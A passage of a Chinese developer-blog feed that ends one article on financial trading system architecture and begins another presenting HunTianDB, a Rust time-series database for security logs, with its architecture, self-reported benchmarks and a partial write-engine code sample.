&lt;p&gt;当前我们的可观测性体系主要基于日志和指标，缺乏全链路追踪能力，在排查复杂的分布式问题时，效率较低。未来我们计划引入&lt;strong&gt;OpenTelemetry全链路追踪技术&lt;/strong&gt;，构建“日志+指标+追踪”三位一体的可观测性体系。&lt;/p&gt;

&lt;p&gt;通过全链路追踪，我们可以清晰地看到一个请求从进入系统到返回结果的完整路径，包括经过的所有微服务、数据库、缓存、消息队列，以及每个环节的耗时和状态。这将极大地提高故障排查效率，帮助我们快速定位问题根源。同时，我们还将引入AI智能告警技术，通过机器学习算法，自动识别异常模式，提前预警潜在的故障，实现从“被动响应”到“主动预防”的转变。&lt;/p&gt;

&lt;h3&gt;
  
  
  11.4 AI能力深度集成：智能交易与风控
&lt;/h3&gt;

&lt;p&gt;人工智能技术在金融领域的应用越来越广泛，未来我们计划将AI能力深度集成到我们的交易系统中，打造智能化的金融交易平台。&lt;/p&gt;

&lt;p&gt;在交易方面，我们将利用AI技术，为用户提供智能选股、智能定投、风险预警等服务，帮助用户做出更明智的投资决策。在风控方面，我们将利用机器学习算法，构建更精准的实时风控模型，自动识别异常交易行为、欺诈行为，提高系统的安全性。同时，我们还将利用AI技术，优化行情预测、量化交易策略，提升系统的智能化水平。&lt;/p&gt;

&lt;h2&gt;
  
  
  十二、写在最后
&lt;/h2&gt;

&lt;p&gt;从最初的单体架构，到现在的千万级并发微服务架构，我们走过了一段充满挑战与收获的旅程。在这个过程中，我们深刻体会到，架构设计不是一蹴而就的，而是一个持续演进、不断优化的过程。没有一劳永逸的架构，只有不断适应业务发展的架构。&lt;/p&gt;

&lt;p&gt;金融交易系统的架构设计，核心是在&lt;strong&gt;性能、可用性、安全性、成本&lt;/strong&gt;之间找到最佳平衡点。我们不能为了追求极致的性能而牺牲安全性，也不能为了过度的安全而影响用户体验。每一个设计决策，都应该基于业务的实际需求，而不是盲目追求技术热点。&lt;/p&gt;

&lt;p&gt;本文分享的这套架构，是我们团队多年金融交易系统研发经验的结晶，希望能给正在做类似系统的同行提供一些有价值的参考。如果您有任何问题或建议，欢迎在评论区留言交流，我们一起探讨、共同进步。&lt;/p&gt;

&lt;p&gt;最后，感谢团队所有成员的辛勤付出，没有大家的努力，就没有这套架构的成功落地。也感谢所有用户的信任与支持，我们将继续努力，为大家提供更稳定、更安全、更高效的金融交易服务。&lt;/p&gt;

&lt;p&gt;---&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;原创不易，如果觉得本文对你有帮助，欢迎点赞、收藏、关注三连！你的支持是我持续分享的最大动力！&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;标签：&lt;/strong&gt;#微服务架构 #金融交易系统 #零信任安全 #事件溯源 #高并发系统 #AWS云原生 #分布式架构 #生产级架构 #哪吒网络安全&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>microservices</category>
      <category>security</category>
      <category>systemdesign</category>
    </item>
    <item>
      <title>硬核自研 HunTianDB 混天DB：Rust原生工业级时序安全数据库全技术拆解</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Sat, 23 May 2026 06:59:12 +0000</pubDate>
      <link>https://forem.com/ctkqiang/ying-he-zi-yan-huntiandb-hun-tian-dbrustyuan-sheng-gong-ye-ji-shi-xu-an-quan-shu-ju-ku-quan-ji-zhu-chai-jie-21h5</link>
      <guid>https://forem.com/ctkqiang/ying-he-zi-yan-huntiandb-hun-tian-dbrustyuan-sheng-gong-ye-ji-shi-xu-an-quan-shu-ju-ku-quan-ji-zhu-chai-jie-21h5</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;本文基于本人独立开源的 &lt;strong&gt;HunTianDB&lt;/strong&gt;，从内核源码、分层架构、性能基准测试、协议兼容、存储引擎原理、生产级特性全方位深度剖析。HunTianDB 是一款纯 Rust 从零自研、面向安全日志与运维时序场景的专用时序数据库，原生兼容 PostgreSQL Wire 3.0 协议，自研无锁写入引擎、ZSTD 流式压缩 WAL、向量化查询算子，实测性能全面超越传统 PG 及主流时序轻量数据库。  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;适合读者&lt;/strong&gt;：后端开发、数据库内核爱好者、安全运维工程师、Rust 进阶开发者。&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  一、项目背景：时序安全场景的核心痛点与解决方案
&lt;/h2&gt;

&lt;p&gt;在网络安全体系日趋完善、运维监控数据呈指数级增长的当下，时序安全日志（入侵检测、防火墙审计、红蓝对抗溯源等）的存储与分析面临前所未有的挑战。传统关系型数据库（如 PostgreSQL）难以承载高并发日志写入洪峰；通用时序数据库（如 InfluxDB、QuestDB）则存在存储压缩率低、安全场景适配不足、PG 生态兼容割裂等痛点。&lt;/p&gt;

&lt;p&gt;在此背景下，我从零出发，基于 Rust 自研了工业级时序安全数据库 &lt;strong&gt;HunTianDB（混天DB）&lt;/strong&gt;，聚焦 &lt;strong&gt;高性能、高压缩、高兼容、高安全&lt;/strong&gt; 四大核心目标，专为安全场景量身定制。&lt;/p&gt;

&lt;h3&gt;
  
  
  1.1 行业痛点剖析
&lt;/h3&gt;

&lt;p&gt;企业安全日志数据量已达 TB 级/日，传统方案存在三大核心矛盾：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;性能瓶颈&lt;/strong&gt;：安全日志“写多查少、高并发、突发洪峰”，PG 等关系库锁竞争严重，批量写入吞吐难以突破。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;存储成本高&lt;/strong&gt;：通用时序库多采用 JSON/文本存储，压缩率低，TB 级长期存储硬件成本居高不下。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;生态割裂&lt;/strong&gt;：多数时序库不支持 PostgreSQL Wire 协议，现有 PG 生态工具（psql、DBeaver、Grafana）无法复用，业务代码重构成本高。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;安全适配不足&lt;/strong&gt;：缺乏安全日志专用模型、细粒度权限控制及审计能力，难以满足等保合规及红队溯源需求。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1.2 HunTianDB 核心定位
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;纯 Rust 从零自研、面向工业级时序安全场景&lt;/strong&gt; 的专用数据库，核心定位为“安全日志存储与分析引擎”，覆盖四大场景：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;企业安全审计日志（IDS、防火墙、WAF）&lt;/li&gt;
&lt;li&gt;入侵检测事件&lt;/li&gt;
&lt;li&gt;运维监控指标&lt;/li&gt;
&lt;li&gt;红队演练溯源&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;设计理念：摒弃通用数据库冗余模块，聚焦时序安全核心需求，实现 &lt;strong&gt;性能碾压传统关系库、压缩优于主流时序库、兼容零成本迁移、安全原生定制&lt;/strong&gt;。&lt;/p&gt;

&lt;h3&gt;
  
  
  1.3 核心技术栈与项目规范
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;开发语言&lt;/td&gt;
&lt;td&gt;Rust (62.7%) + TypeScript (前端) + Python (测试/脚本)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;核心架构&lt;/td&gt;
&lt;td&gt;自研无锁写入引擎 + 二进制 WAL + 向量化查询算子&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;协议兼容&lt;/td&gt;
&lt;td&gt;PostgreSQL Wire Protocol 3.0 原生兼容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安全特性&lt;/td&gt;
&lt;td&gt;TLS 1.3 加密传输、RBAC 细粒度权限、WAL 校验和、快照取证&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;开源协议&lt;/td&gt;
&lt;td&gt;MIT（可商用、二次开发、无限制）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;当前版本&lt;/td&gt;
&lt;td&gt;v0.1.0-beta（核心功能闭环，生产级可用）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;开源仓库&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://github.com/ctkqiang/HunTianDB" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; · &lt;a href="https://gitcode.com/ctkqiang_sr/HunTianDB" rel="noopener noreferrer"&gt;GitCode（国内镜像）&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  二、分层架构深度解析：轻量化解耦，兼顾性能与可维护性
&lt;/h2&gt;

&lt;p&gt;HunTianDB 采用 &lt;strong&gt;四层轻量化解耦架构&lt;/strong&gt;，无任何第三方数据库内核依赖，所有核心模块从零自研。各层职责清晰、独立扩展，架构图如下（PlantUML 表述）：&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvn4jr22k23ipe6o55ega.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvn4jr22k23ipe6o55ega.png" alt="在这里插入图片描述" width="800" height="626"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;架构说明&lt;/strong&gt;：前端层通过 PG Wire 协议与协议接入层通信；接入层负责鉴权、加密与限流后分发至核心引擎层；引擎层完成无锁写入与向量化查询，再由持久化层完成二进制序列化、ZSTD 压缩与异步刷盘，最终通过 CRC32 校验保证数据一致性。&lt;/p&gt;

&lt;h3&gt;
  
  
  2.1 前端可视化层（开箱即用）
&lt;/h3&gt;

&lt;p&gt;基于 React + TDesign + Monaco Editor 自研，随数据库一键启动，功能覆盖：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;实时监控仪表板&lt;/strong&gt;：展示写入吞吐、查询延迟、内存占用、WAL 大小等核心指标。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;多标签 SQL 编辑器&lt;/strong&gt;：支持标准 SQL，内置数据表浏览器、查询历史、示例模板。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;安全事件浏览器&lt;/strong&gt;：分页展示事件，支持按时间、类型、状态码筛选。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;系统配置中心&lt;/strong&gt;：管理用户权限、WAL 刷盘参数、监控端口与加密策略。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.2 协议接入层（原生兼容 PG 生态）
&lt;/h3&gt;

&lt;p&gt;基于 Rust Tokio 异步运行时自研 &lt;strong&gt;PostgreSQL Wire Protocol 3.0&lt;/strong&gt; 解析层，摒弃第三方封装库，实现：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;100% 原生兼容&lt;/strong&gt;：psql、DBeaver、Grafana、JDBC、psycopg2 等工具无缝连接，零代码迁移。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;零拷贝解析&lt;/strong&gt;：内存零拷贝技术减少开销，提升接入性能。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;安全传输&lt;/strong&gt;：支持 TLS 1.3 (P-521 ECDHE) 加密，满足等保合规。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;权限与限流&lt;/strong&gt;：RBAC 细粒度权限（admin/writer/reader） + 写入限流，防止洪峰压垮数据库。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2.3 核心引擎层（自研内核，突破瓶颈）
&lt;/h3&gt;

&lt;p&gt;核心引擎聚焦“写入快、查询快”，剔除复杂事务、多表关联等无关模块。&lt;/p&gt;

&lt;h4&gt;
  
  
  2.3.1 异步无锁写入引擎
&lt;/h4&gt;

&lt;p&gt;基于 &lt;code&gt;crossbeam&lt;/code&gt; 无锁通道 + &lt;code&gt;tokio::sync::mpsc&lt;/code&gt; 实现写入调度，设计为 &lt;strong&gt;内存写入即返回 + 后台批量异步刷盘&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;无锁设计&lt;/strong&gt;：无全局锁、行锁，高并发写入无阻塞。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;异步刷盘&lt;/strong&gt;：按阈值（默认 100 条）或定时（默认 100ms）批量刷盘，减少 IO。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;过载保护&lt;/strong&gt;：缓冲区满时自动限流，避免内存溢出。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;轻量高效&lt;/strong&gt;：无复杂事务机制，适配“一次写入、多次查询”的时序特性。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  2.3.2 时序向量化查询算子
&lt;/h4&gt;

&lt;p&gt;针对高频聚合查询（COUNT/SUM/AVG + 时间范围筛选），自研 &lt;strong&gt;向量化批量计算&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;批量计算&lt;/strong&gt;：按批次加载数据一次性计算，减少 CPU 上下文切换。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;类型优化&lt;/strong&gt;：针对时间戳、数值、字符串专项优化。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;索引优化&lt;/strong&gt;：内置时间戳主键索引，范围查询快速定位。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;算子复用&lt;/strong&gt;：核心聚合算子可复用，支持多维分析。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  2.3.3 内存与索引管理
&lt;/h4&gt;

&lt;p&gt;采用 &lt;strong&gt;列式存储 + 时间分区&lt;/strong&gt;，实现冷热数据分离：热数据驻留内存加速查询，冷数据自动归档至磁盘。内置时间戳索引，支持毫秒级时间范围查询，完美适配安全日志“按时间溯源”需求。&lt;/p&gt;

&lt;h3&gt;
  
  
  2.4 持久化存储层（极致压缩，可靠持久）
&lt;/h3&gt;

&lt;p&gt;自研 WAL 体系，兼顾性能、压缩率与可靠性：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;二进制序列化&lt;/strong&gt;：&lt;code&gt;bincode&lt;/code&gt; 替代 JSON，单条日志体积减少 5 倍以上。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ZSTD 流式压缩&lt;/strong&gt;：默认 6 级压缩（平衡压缩率与 CPU），单条安全日志压缩后仅 &lt;strong&gt;109 字节&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;异步批量刷盘&lt;/strong&gt;：支持自定义阈值与间隔，可手动触发刷盘。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;数据一致性&lt;/strong&gt;：CRC32 校验和，崩溃后可通过 WAL 完整恢复。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;日志清理&lt;/strong&gt;：支持按时间/大小自动清理 WAL，避免磁盘溢出。&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  三、基准性能实测：碾压式对比，彰显工业级实力
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;测试环境&lt;/strong&gt;：Apple Silicon macOS, 16GB RAM, SSD&lt;br&gt;&lt;br&gt;
&lt;strong&gt;数据规模&lt;/strong&gt;：10 万条标准安全审计日志（含 &lt;code&gt;event_type&lt;/code&gt;/&lt;code&gt;zone&lt;/code&gt;/&lt;code&gt;status_code&lt;/code&gt;/&lt;code&gt;error_msg&lt;/code&gt; 等字段）&lt;br&gt;&lt;br&gt;
&lt;strong&gt;对比数据库&lt;/strong&gt;：PostgreSQL 16, InfluxDB 2.7, QuestDB 7.x（均使用默认配置，无专项优化）&lt;br&gt;&lt;br&gt;
&lt;strong&gt;压测工具&lt;/strong&gt;：项目自带 &lt;code&gt;benchmark.py&lt;/code&gt;（结果可复现，详见仓库 &lt;code&gt;benchmark_report.md&lt;/code&gt;）&lt;/p&gt;
&lt;h3&gt;
  
  
  3.1 核心性能对比表
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;评测维度&lt;/th&gt;
&lt;th&gt;HunTianDB&lt;/th&gt;
&lt;th&gt;PostgreSQL 16&lt;/th&gt;
&lt;th&gt;InfluxDB 2.7&lt;/th&gt;
&lt;th&gt;QuestDB 7.x&lt;/th&gt;
&lt;th&gt;优势总结&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;批量写入（5000 行/批）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;68,741 行/s&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~38,000&lt;/td&gt;
&lt;td&gt;~52,100&lt;/td&gt;
&lt;td&gt;~61,300&lt;/td&gt;
&lt;td&gt;写入吞吐碾压，适应日志洪峰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;点查询 P50 延迟&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.58 ms&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1.20 ms&lt;/td&gt;
&lt;td&gt;0.89 ms&lt;/td&gt;
&lt;td&gt;0.71 ms&lt;/td&gt;
&lt;td&gt;毫秒级响应，实时查询满足&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;COUNT(*)（10 万行）&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.07 ms&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;35.00 ms&lt;/td&gt;
&lt;td&gt;4.20 ms&lt;/td&gt;
&lt;td&gt;1.80 ms&lt;/td&gt;
&lt;td&gt;向量化算子效率提升数百倍&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;单条日志存储体积&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;109 Byte&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;550+ Byte&lt;/td&gt;
&lt;td&gt;210 Byte&lt;/td&gt;
&lt;td&gt;168 Byte&lt;/td&gt;
&lt;td&gt;压缩率全网领先，节省 5 倍以上&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;并发锁机制&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;异步无锁&lt;/td&gt;
&lt;td&gt;行锁/表锁竞争&lt;/td&gt;
&lt;td&gt;部分锁隔离&lt;/td&gt;
&lt;td&gt;行级乐观锁&lt;/td&gt;
&lt;td&gt;无锁高并发，适配洪峰写入&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PG 协议兼容&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;100% 原生&lt;/td&gt;
&lt;td&gt;原生&lt;/td&gt;
&lt;td&gt;不兼容&lt;/td&gt;
&lt;td&gt;部分兼容&lt;/td&gt;
&lt;td&gt;零成本迁移，复用生态工具链&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;安全场景适配&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;原生定制优化&lt;/td&gt;
&lt;td&gt;通用适配较差&lt;/td&gt;
&lt;td&gt;监控场景适配&lt;/td&gt;
&lt;td&gt;IoT 场景适配&lt;/td&gt;
&lt;td&gt;唯一专为安全审计/红蓝对抗设计&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h3&gt;
  
  
  3.2 性能结论
&lt;/h3&gt;

&lt;p&gt;HunTianDB 在 &lt;strong&gt;写入吞吐、查询延迟、存储压缩&lt;/strong&gt; 上全面超越 PostgreSQL 16，且领先主流时序数据库 InfluxDB、QuestDB，尤其在 &lt;code&gt;COUNT(*)&lt;/code&gt; 聚合和存储压缩率上表现突出。同时保持 PG 协议 100% 兼容，解决了通用时序库生态割裂的痛点，实现了 &lt;strong&gt;“性能与兼容”的双重突破&lt;/strong&gt;。&lt;/p&gt;


&lt;h2&gt;
  
  
  四、核心自研源码解析：从零构建 Rust 数据库内核
&lt;/h2&gt;

&lt;p&gt;以下选取 &lt;strong&gt;写入引擎、WAL 压缩、PG 协议解析&lt;/strong&gt; 三大核心模块，展示关键实现（源码均来自项目官方仓库，保留原始注释）。&lt;/p&gt;
&lt;h3&gt;
  
  
  4.1 异步无锁写入引擎（&lt;code&gt;src/engine/write.rs&lt;/code&gt;）
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="cd"&gt;/// 自研无锁异步写入队列核心实现&lt;/span&gt;
&lt;span class="cd"&gt;/// 内存写入即刻返回，后台批量异步刷盘，适配高并发日志写入场景&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;tokio&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;sync&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mpsc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;std&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;sync&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nb"&gt;Arc&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nn"&gt;std&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;time&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nd"&gt;#[derive(Debug,&lt;/span&gt; &lt;span class="nd"&gt;Clone)]&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;WriteEngine&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Arc&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nn"&gt;mpsc&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;UnboundedSender&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;batch_size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;usize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;          &lt;span class="c1"&gt;// 批量刷盘阈值（默认100条）&lt;/span&gt;
    &lt;span class="n"&gt;flush_interval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;// 刷盘间隔（默认100ms）&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="n"&gt;WriteEngine&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="cd"&gt;/// 初始化写入引擎，启动后台异步刷盘任务&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;batch_size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;usize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;flush_interval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;Self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;rx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;mpsc&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;unbounded_channel&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="nn"&gt;tokio&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;move&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;Vec&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;with_capacity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;batch_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;interval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;tokio&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;time&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;interval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flush_interval&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;loop&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nn"&gt;tokio&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nd"&gt;select!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                    &lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rx&lt;/span&gt;&lt;span class="nf"&gt;.recv&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                        &lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="nf"&gt;.push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="nf"&gt;.len&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;batch_size&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                            &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;crate&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;wal&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;batch_write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="nf"&gt;.drain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                        &lt;span class="p"&gt;}&lt;/span&gt;
                    &lt;span class="p"&gt;}&lt;/span&gt;
